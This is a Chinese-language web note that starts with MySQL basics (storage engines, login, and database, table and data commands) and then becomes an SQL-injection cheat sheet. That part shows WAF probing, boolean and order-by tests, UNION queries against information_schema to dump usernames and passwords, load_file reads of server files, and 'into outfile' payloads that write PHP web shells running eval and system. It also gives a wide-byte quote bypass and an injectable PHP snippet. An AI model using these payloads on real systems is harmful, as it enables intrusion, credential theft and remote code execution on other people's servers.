赞
踩
MySQL使用B+树来存储数据,有两种存储引擎MyISAM和InnoDB。INNODB:利用非叶子节点来存储索引,叶子节点来存储数据;MYISAM:利用非叶子节点来存储索引,叶子结点来存储数据的指针,数据是单独存储的。
mysql -h 199.199.10.1 -u root -p
Enter password:******
mysql -u root -p
Enter password:******
mysql -u root -p databaseName
Enter password:******
1. 查看所有的数据库:
show database;
2. 创建数据库:
create database databaseName;
3. 进入到指定的数据库:
use databaseName;
4. 查看当前所在的库:
select database();
5. 查看建库语句:
show create datebase databaseName;
6. 删除指定数据库:
drop database databaseName;
7. 退出Mysql数据库:
1. exit
2.\q
3.quit
1. 查看库中的所有数据表:
show tables;
2. 创建数据表:
注意:创建表时,字符类型必须要设定长度,最后一个字段后面不能写逗号。
create table tableName(
字段1 字段数据类型,
字段2 字段数据类型,
字段3 字段数据类型
);
3. 查看表的结构:
desc tableName;
4. 查看建表语句:
show create table tableName;
5. 查看表中的数据:
select * from tableName;
//查看另一个库中表的数据表
select * from databaseName.tableName;
6. 删除数据表:
drop table tableName1,tableName2,tableName...;
7. 添加字段:
#1.不指定添加字段的位置:【默认在最后】
alter table tableName add 字段名 字段数据类型;
#2.指定添加在某个字段的后面【after】
alter table tableName add 字段名 字段数据类型 after 前一个字段;
#3.添加在表的最前面【first】
alter table tableName add 字段名 字段数据类型 first;
8. 修改字段:
#1. 修改原来字段的数据类型:
alter table tableName modify 字段名 字段数据类型;
#2. 修改原来的字段名,包括数据类型:
alter table tableName change 原字段名 新字段名 字段数据类型;
#3. 给已有的字段添加主键
alter table tableName add primary key (字段名);
9. 删除字段:
alter table tableName drop 字段名;
10. 数据表从命名:
alter table 原表名 rename 新表名;
1. 在表中添加数据:
#1.对所有的字段添加数据:
insert into tableName values (字段1数据,字段2数据,字段...数据);
#2.对指定的字段添加数据:
insert into tableName (字段1,字段3,字段5) values (字段1数据,字段3数据,字段5数据);
2. 删除表中数据:
#1.删除表中所有数据(尽量不用):
delete from tableName;
#2.按条件删除指定数据:
delete from tableName where 条件;
#3.如果字段是自增属性,用以上两种方法删除数据后插入数据时仍然按删除之前自增
truncate table tableName;
3. 修改表中数据:
update tableName set 字段1=新值,字段2=新值 where 条件;
\h ---快捷帮助
\c ---取消命令输入
\s ---查看当前数据库的操作
\q ---退出MySQL命令行
\G ---以列的形式展示结果
tee 路径\文件夹 ---导出命令到本地文件
system_user()
user()
current_user()
session_user()
database()
version()
load_file(根路径)
into outfile()
@@datadir
@@basedir
@@version_compile_os
$link = mysqli_connect('localhost', 'root', 'password');
mysqli_set_charset($link, 'utf8');
mysqli_select_db($link, 'mxf');
$sqlStr = "delete from users where username='{$_SESSION['username']}';";
$res = mysqli_query($link, $sql);
mysqli_close($link);
'
"
)
用此方法可以验证是否开了waf狗
语句结尾用and连接1=1(true)和1=2(false)进行调试;如果and 1=1时服务器反馈为真,and 1=2时服务器反馈为false,证明可以进行union联查
使用 order by 1,2,3… 来确定服务器返回的字段数,挨个去试,直到报错,报错前一个就是可以显示的字段数
select database()
select schema from information_schema
获取指定库下的表:
select 1,1,group_concat(table_name) from information_schema.tables where table_schema='wuya'--+
获取指定表中的字段:
union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='wuya'--+
获取指定表中的数据:
select group_concat(concat_ws(',',id,username,password) SEPARATOR '|') from users group by '1'
and 1=2 union select 1,load_file('C:\\inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4
and 1=2 union select 1,"<?php @eval ($_POST['psword']);?>",3,4 into outfile 'D:/www/mysql-sql/shell.php'
and 1=2 union select 1,"<?php @system($_GET['par']);?>",3,4 into outfile 'D:/www/mysql-sql/system.php'
www.xxxx.com/system.php?par=ipconfig
%df%27
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。